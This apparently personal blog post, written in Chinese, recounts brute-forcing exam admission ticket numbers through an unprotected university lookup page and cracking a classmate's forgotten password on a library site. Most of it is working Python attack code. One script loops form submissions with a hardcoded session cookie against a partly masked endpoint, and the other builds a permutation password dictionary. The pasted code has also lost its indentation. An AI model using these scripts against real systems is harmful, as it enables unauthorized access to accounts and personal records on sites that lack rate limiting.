记一次准考证号“爆破”以及另一次密码爆破

解决忘记准考证号无法查询考研初始成绩,解决强密码忘记密码且无法重制;

考研查成绩阶段,很多同学跟我说忘记准考证号了;

所以找了一个接口,进行了简单的爆破匹配;

找到了一个当时用来查考场的网页,一般像这种只实现简单功能的小网页安全性都较差;

这个就不例外,没有次数限制,没有验证码校验,所以可以直接循环提交表单进行爆破。

image-20210304195742262

想要查询的同学只需要提供身份证号即可,根据大致的准考证号的范围进行逐个爆破,根据返回内容的长度等判断是否爆破成功。简单的代码示例放在最后。

另一个密码爆破!

由于学校要求弱密码全部改为强密码,kang同学自信的改为了很复杂的密码,而且不放心chrome,不让其记住密码;结果就是,忘记了;到查成绩的时候发现无法重置密码;

好在同样的强密码用在了很多地方,其中一个图书馆网站没有开启验证码校验,存在爆破可能。

所以根据kang同学回忆,提取了几个可能的关键词,因为强密码要求大小写字母、数字、特殊符号同时存在,所以构建排列组合,获取到了用于爆破的字典。

搞过密码爆破的其实都知道,最重要的就是字典,字典里没有,再爆破也没用。

好在kang同学回忆的关键词比较全,最终用类似的方法爆破到了密码。最后会放一个构建字典的简单代码。

准考证爆破简单示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from urllib import request,parse
from html.parser import HTMLParser
import urllib

global flag

def logon(testID,IDcard):
PostUrl = 'http://***.58.***.71:8088/zskc/checklogin'
testID = testID

#构建登录data
login_data = parse.urlencode([
('bkType', 'now'),
('zkzh', testID),
('sfzh', IDcard),
])
req = request.Request(PostUrl)

#构建登录head 请求头
req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'),
req.add_header('Accept-Encoding', 'gzip, deflate'),
req.add_header('Accept-Language', 'zh-CN,zh;q=0.9,en;q=0.8'),
req.add_header('Cache-Control', 'max-age=0'),
req.add_header('Connection', 'keep-alive'),
req.add_header('Content-Length', '55'),
req.add_header('Content-Type', 'application/x-www-form-urlencoded'),
req.add_header('Cookie', 'JSESSIONID=1A5F7DD34539699E9EC7CB7298745713'),
req.add_header('Host', '***.58.***.71:8088'),
req.add_header('Origin', 'http://***.58.***.71:8088'),
req.add_header('Referer', 'http://***.58.***.71:8088/zskc/'),
req.add_header('Upgrade-Insecure-Requests', '1'),
req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36'),

with request.urlopen(req,data=login_data.encode('utf-8')) as f:
if f.read().decode('GBK').find('alert')==-1:
global flag
flag = 1
print(f.read().decode('GBK'))
print("准考证号为:"+testID)
return(f.read().decode('GBK'))

def main():
idcard = input("请输入要查询的身份证号:")
mi,mx = input("请输入准考证号后四位的范围(10424953000****):").split()
for i in range(int(mi), int(mx)):
global flag
flag = 0
a = '10424953000'
a = a + str('%04d' % i)

logon(a,idcard)
del a
if flag == 1:
break

if __name__ == '__main__':
main()

构建字典的简单代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# dict
import numpy as np

pw_01 = []
pw_02 = []
pw_03 = []
pw_04 = []

all_list = []

for i in pw_01:
for j in pw_02:
for k in pw_03:
all_list.append(i+j+k)
all_list.append(i+k+j)
all_list.append(k+i+j)
all_list.append(k+j+i)
all_list.append(j+i+k)
all_list.append(j+k+i)
# print(i+j+k)
for i in pw_02:
for j in pw_03:
for k in pw_04:
all_list.append(i+j+k)
all_list.append(i+k+j)
all_list.append(k+i+j)
all_list.append(k+j+i)
all_list.append(j+i+k)
all_list.append(j+k+i)

# print(all_list)
with open('student.txt',mode='w') as f:
for i in all_list:
f.write(i+'\n')